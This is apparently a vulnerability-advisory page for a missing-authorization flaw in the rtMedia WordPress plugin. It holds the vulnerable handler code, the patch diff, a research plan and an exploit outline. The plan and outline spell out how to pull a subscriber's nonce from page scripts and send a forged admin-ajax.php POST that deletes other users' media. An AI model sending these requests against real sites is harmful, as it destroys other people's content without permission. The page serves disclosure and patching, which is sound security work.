CVE-2026-40773

rtMedia for WordPress, BuddyPress and bbPress <= 4.7.9 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.7.10
Patched in
10d
Time to patch

Description

The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.7.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.7.9
PublishedApril 21, 2026
Last updatedApril 30, 2026
Affected pluginbuddypress-media

What Changed in the Fix

Changes introduced in v4.7.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40773 (rtMedia Missing Authorization) ## 1. Vulnerability Summary The **rtMedia** plugin for WordPress is vulnerable to **Missing Authorization** in its AJAX media deletion handler. The function `rtmedia_delete_uploaded_media()` in `app/main/controllers/templa…

Show full research plan

Exploitation Research Plan: CVE-2026-40773 (rtMedia Missing Authorization)

1. Vulnerability Summary

The rtMedia plugin for WordPress is vulnerable to Missing Authorization in its AJAX media deletion handler. The function rtmedia_delete_uploaded_media() in app/main/controllers/template/rtmedia-ajax-actions.php verifies a WordPress nonce but fails to check:

  1. If the current user has the capability to delete media (e.g., delete_posts).
  2. If the media_id provided in the request actually belongs to the current user (Insecure Direct Object Reference - IDOR).

As a result, any authenticated user (Subscriber and above) can delete any media uploaded via rtMedia (photos, videos, music) by providing their own valid nonce and the target media_id.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: delete_uploaded_media (hooked via wp_ajax_delete_uploaded_media)
  • HTTP Method: POST
  • Parameters:
    • action: delete_uploaded_media
    • media_id: The ID of the rtMedia entry to delete.
    • nonce: A nonce valid for the action string 'rtmedia_' . get_current_user_id().
  • Authentication: Required (Subscriber level or higher).
  • Preconditions: The attacker must be able to obtain a valid nonce for themselves, which the plugin provides on pages where the media gallery is loaded.

3. Code Flow

  1. Entry Point: The user sends a POST request to admin-ajax.php with action=delete_uploaded_media.
  2. Hook Registration: app/main/controllers/template/rtmedia-ajax-actions.php registers the handler:
    add_action( 'wp_ajax_delete_uploaded_media', 'rtmedia_delete_uploaded_media' );
    
  3. Parameter Extraction: Inside rtmedia_delete_uploaded_media():
    • $nonce is taken from $_POST['nonce'].
    • $media_id is taken from $_POST['media_id'].
  4. Nonce Verification:
    if ( wp_verify_nonce( $nonce, 'rtmedia_' . get_current_user_id() ) ) {
    
    This verifies that the nonce was generated for the current user. It does not verify that the user has permission to delete the specific $media_id.
  5. Vulnerable Sink:
    $rtmedia_media = new RTMediaMedia();
    $rtmedia_media->delete( $media_id );
    
    The delete() method is called directly with the user-supplied media_id, leading to unauthorized deletion of media belonging to other users.

4. Nonce Acquisition Strategy

The nonce is generated per-user using the action string 'rtmedia_' . get_current_user_id(). This nonce is localized and passed to the frontend for the plugin's legitimate delete functionality.

  1. Identify Trigger: rtMedia enqueues its scripts on pages containing the [rtmedia_gallery] shortcode or on BuddyPress profile media tabs.
  2. Shortcode Creation: Create a public page with the gallery shortcode to ensure the scripts load for the Subscriber.
    • wp post create --post_type=page --post_status=publish --post_title="Media" --post_content="[rtmedia_gallery]"
  3. Extraction: Navigate to this page as the Subscriber and use browser_eval to extract the nonce from the rtmedia_ajax_params global object.
    • JS Variable: window.rtmedia_ajax_params
    • Nonce Key: nonce
    • Command: browser_eval("window.rtmedia_ajax_params ? window.rtmedia_ajax_params.nonce : 'not_found'")

5. Exploitation Strategy

Step 1: Target Identification

As an Admin, upload a media file and identify its rtMedia ID. rtMedia uses its own database table (wp_rt_rtm_media).

# Get the ID of the latest uploaded rtMedia entry
wp db query "SELECT id FROM wp_rt_rtm_media ORDER BY id DESC LIMIT 1;"

Step 2: Nonce Retrieval

Log in as the Subscriber, navigate to the media page, and extract the nonce using the strategy in Section 4.

Step 3: Unauthorized Deletion Request

Use the http_request tool to send the malicious payload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=delete_uploaded_media&nonce=[SUBSCRIBER_NONCE]&media_id=[TARGET_MEDIA_ID]
    

Step 4: Verification

Confirm the deletion using WP-CLI.

6. Test Data Setup

  1. Users:
    • Admin: admin / password
    • Subscriber: attacker / password
  2. Content:
    • Create a page for nonce extraction: [rtmedia_gallery].
    • The Admin must upload at least one image via the rtMedia interface (e.g., via the BuddyPress profile or a gallery page) so there is a media_id to target.
    • Note: Ensure BuddyPress is active or the rtMedia "Allow upload from WordPress author page" setting is enabled to facilitate the upload.

7. Expected Results

  • AJAX Response:
    {
        "success": true,
        "data": {
            "code": "rtmedia-media-deleted",
            ...
        }
    }
    
  • Database State: The record with id = [TARGET_MEDIA_ID] should be removed from the wp_rt_rtm_media table.
  • Filesystem State: The associated attachment file in wp-content/uploads/ (if it was the primary media) should be deleted or detached.

8. Verification Steps

  1. Check Table:
    wp db query "SELECT count(*) FROM wp_rt_rtm_media WHERE id = [TARGET_MEDIA_ID];"
    
    The count should be 0.
  2. Check Attachment:
    Check if the WordPress attachment associated with that media ID (if any) still exists.

9. Alternative Approaches

If rtmedia_ajax_params is not found, check for:

  • rtMedia_plupload_config.multipart_params.nonce
  • Searching the entire page source for the string rtmedia_ followed by the current user ID to see how the nonce is assigned to HTML attributes (e.g., data-nonce on a delete button).
  • If the rtmedia_ user ID nonce is not present, check if the plugin accidentally falls back to a default nonce for action -1 in certain configurations.
Research Findings
Static analysis — not yet PoC-verified

Summary

The rtMedia plugin for WordPress is vulnerable to unauthorized media deletion due to a missing authorization check and an insecure direct object reference (IDOR) in its AJAX handler. This allows authenticated attackers with subscriber-level permissions to delete any media uploaded through the plugin by supplying a valid nonce tied to their own user ID and a target media ID.

Vulnerable Code

// app/main/controllers/template/rtmedia-ajax-actions.php line 12
function rtmedia_delete_uploaded_media() {

	$action   = sanitize_text_field( filter_input( INPUT_POST, 'action', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) );
	$nonce    = sanitize_text_field( filter_input( INPUT_POST, 'nonce', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) );
	$media_id = filter_input( INPUT_POST, 'media_id', FILTER_SANITIZE_NUMBER_INT );

	if ( ! empty( $action ) && 'delete_uploaded_media' === $action && ! empty( $media_id ) ) {
		if ( wp_verify_nonce( $nonce, 'rtmedia_' . get_current_user_id() ) ) {
			$remaining_album     = 0;
			$remaining_photos    = 0;
			$remaining_music     = 0;
			$remaining_videos    = 0;
			$remaining_all_media = 0;
			$rtmedia_media       = new RTMediaMedia();
			$rtmedia_media->delete( $media_id );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/buddypress-media/4.7.9/app/main/controllers/template/rtmedia-ajax-actions.php	2025-10-30 08:47:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/buddypress-media/4.7.10/app/main/controllers/template/rtmedia-ajax-actions.php	2026-04-07 09:50:32.000000000 +0000
@@ -7,7 +7,7 @@
 
 /**
  * Delete uploaded media.
- * Modified 10-02-2019 by Adarsh Verma <adarsh.verma@rtcamp.com>
+ * Patched to include Ownership and Authorization checks.
  */
 function rtmedia_delete_uploaded_media() {
 
@@ -17,6 +17,47 @@
 
 	if ( ! empty( $action ) && 'delete_uploaded_media' === $action && ! empty( $media_id ) ) {
 		if ( wp_verify_nonce( $nonce, 'rtmedia_' . get_current_user_id() ) ) {
+
+			$model = new RTMediaModel();
+			$media = $model->get( array( 'id' => $media_id ) );
+
+			// Check if media exists
+			if ( empty( $media ) || ! isset( $media[0] ) ) {
+				wp_send_json_error(
+					array(
+						'code'    => 'rtmedia-media-not-found',
+						'message' => esc_html__( 'Media not found.', 'buddypress-media' ),
+					)
+				);
+				wp_die();
+			}
+
+			$current_user_id = get_current_user_id();
+			$media_author    = (int) $media[0]->media_author;
+
+			// 1. Is the user the owner of the media?
+			$is_owner = ( $current_user_id === $media_author );
+
+			// 2. Is the user a site administrator?
+			$is_admin = current_user_can( 'manage_options' ) || current_user_can( 'delete_others_posts' );
+
+			// 3. Is the user a BuddyPress Group Admin? (if the media belongs to a BP group)
+			$is_group_admin = false;
+			if ( ! empty( $media[0]->context ) && 'group' === $media[0]->context && function_exists( 'groups_is_user_admin' ) ) {
+				$is_group_admin = groups_is_user_admin( $current_user_id, $media[0]->context_id );
+			}
+
+			// If none of the above are true, block the deletion
+			if ( ! $is_owner && ! $is_admin && ! $is_group_admin ) {
+				wp_send_json_error(
+					array(
+						'code'    => 'rtmedia-unauthorized',
+						'message' => esc_html__( 'You do not have permission to delete this media.', 'buddypress-media' ),
+					)
+				);
+				wp_die();
+			}
+
 			$remaining_album     = 0;
 			$remaining_photos    = 0;
 			$remaining_music     = 0;
@@ -29,7 +70,6 @@
 			if ( class_exists( 'RTMediaNav' ) ) {
 				global $bp;
 				$rtmedia_nav_obj = new RTMediaNav();
-				$model           = new RTMediaModel();
 				$other_count     = 0;
 
 				if ( function_exists( 'bp_is_group' ) && bp_is_group() ) {

Exploit Outline

1. Authentication: Log in to the WordPress site as a Subscriber-level user. 2. Nonce Acquisition: Navigate to any page where rtMedia is active (e.g., a page with the `[rtmedia_gallery]` shortcode). Extract the security nonce from the global JavaScript object `rtmedia_ajax_params.nonce`. 3. Target Identification: Identify the `media_id` of a target media file (uploaded by an administrator or another user) within the `wp_rt_rtm_media` table or by inspecting gallery links. 4. Unauthorized Request: Send a POST request to `/wp-admin/admin-ajax.php` with the following body: - `action`: `delete_uploaded_media` - `nonce`: [Your extracted nonce] - `media_id`: [The target ID] 5. Verification: The plugin verifies the nonce against the attacker's user ID but performs no ownership check, resulting in the deletion of the target media file and its database record.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.